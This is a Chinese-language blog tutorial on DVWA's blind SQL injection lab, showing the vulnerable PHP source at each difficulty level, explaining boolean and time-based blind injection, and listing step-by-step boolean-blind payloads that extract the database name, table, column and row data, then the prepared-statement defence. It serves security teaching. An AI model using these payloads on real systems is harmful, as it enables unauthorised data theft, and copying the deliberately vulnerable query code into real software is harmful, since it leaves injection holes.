当前位置: 首页 > article >正文

web基础—dvwa靶场(八)SQL Injection(Blind)

SQL Injection(Blind)(SQL注入之盲注)

SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。

常规SQL注入与SQL盲注详细对比

SQL注入1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。
2.一般在页面上直接就会显示执行sql语句的结果。
SQL盲注

1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况

(参考:h布尔盲注

布尔盲注与时间盲注对比

布尔盲注

       可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。

时间盲注

  通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

SQL盲注流程

1.判断是否存在注入,注入的类型

2.猜解当前数据库名称

3.猜解数据库中的表名

4.猜解表中的字段名

5.获取表中的字段值

6.验证字段值的有效性

7.获取数据库的其他信息:版本、用户…

SQL盲注主题:

Low

源码解析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
漏洞复现

  对传参没有进行任何检查、过滤,返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种

(1)首先找到注入点,判断注入的类型

1
1 \
1' #  猜闭合方式

 (2)查找库名(以数据库名的第一个字母为例)(最终查到的库名:root)

1' and (select ascii(substr(database(),1,1)) > 111) #
1' and (select ascii(substr(database(),1,1)) > 120) #
1' and (select ascii(substr(database(),1,1)) > 115) #
1' and (select ascii(substr(database(),1,1)) > 113) #
1' and (select ascii(substr(database(),1,1)) = 114) #

 (3)查找表名(以数据库的第一个表的第一个字母为例)(最终查到的表名:guestbook)

1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 110) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 105) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 103) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) > 102) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #

 (4)查找表中的第一个字段名(以数据库中第一个表的第一个字段为例)(最终查到的列名:comment_id)

1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 101) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 90) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 95) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 98) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 99) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) < 100) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #

 (5)查找数据库中第一个表中第一个字段中的第一个数据的第一个字母(最终查到的数据:1)

1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 101) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 50) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 30) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 40) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 45) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) > 48) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

   剩余的数据就不在一个一个具体的查找了,就按照这种方法,可以一个个的将数据全部查找出来。

Medium

源码解析
<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>
漏洞复现

Medium级别的代码利用mysql_real_escape_string函数对特殊符号  \x00,\n,\r,,’,”,\x1a  进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值

参考Low级别过程和[web基础—dvwa靶场(七)SQL Injection-CSDN博客] 中的Medium级别过程

1 #
1 and (select ascii(substr(database(),1,1)) = 114) #
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

High

源码解析
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
//limit限制查询只能为1条
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
漏洞复现

  对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。

  可以参考Low级别的代码:

1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #

Impossible

源码解析
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
//使用token机制
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
//对输入的id进行是否为数字的判断
    if(is_numeric( $id )) {
        // Check the database
//使用limit对查询的结果进行限制
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>
漏洞复现

  1. impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
  2. 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
  3. 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
  4. Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

ASCII码对照表


http://www.kler.cn/news/315461.html

相关文章:

  • 众数信科AI智能体政务服务解决方案——寻知智能笔录系统
  • ‌内网穿透技术‌总结
  • SpringCloud config native 配置
  • mysql性能优化- 数据库配置优化
  • java面试题第一弹
  • Mybatis Plus分页查询返回total为0问题
  • PostgreSQL技术内幕10:PostgreSQL事务原理解析-日志模块介绍
  • 若依框架多次list查询时,分页失效
  • 使用Apache SeaTunnel高效集成和管理SftpFile数据源
  • 伊犁云计算22-1 apache 安装rhel8
  • C++:tinyxml2用于解析、操作和生成XML文件
  • Git基本用法总结
  • ZYNQ学习--AXI总线协议
  • 001.docker30分钟速通版
  • 深入 mysql,掌握一对一、一对多、多对多表设计、查询及级联操作
  • 鸿蒙ms参考
  • 聚类_K均值
  • 基于 Web 的工业设备监测系统:非功能性需求与标准化数据访问机制的架构设计
  • git重置本地提交与远程保持一致
  • 阅读笔记——《围城》
  • git 版本管理的常用命令
  • c++249多态
  • 【计算机网络篇】计算机网络概述
  • 安全第一:API 接口接入前的防护性注意要点
  • Java21 中的虚拟线程
  • 校园美食猎人:Spring Boot技术的美食探索应用
  • xxl-job适配sqlite本地数据库及mysql数据库。可根据配置指定使用哪种数据库。
  • 鸿蒙OS 线程间通信
  • 【VLM小白指北 (1) 】An Introduction to Vision-Language Modeling
  • CTFShow-反序列化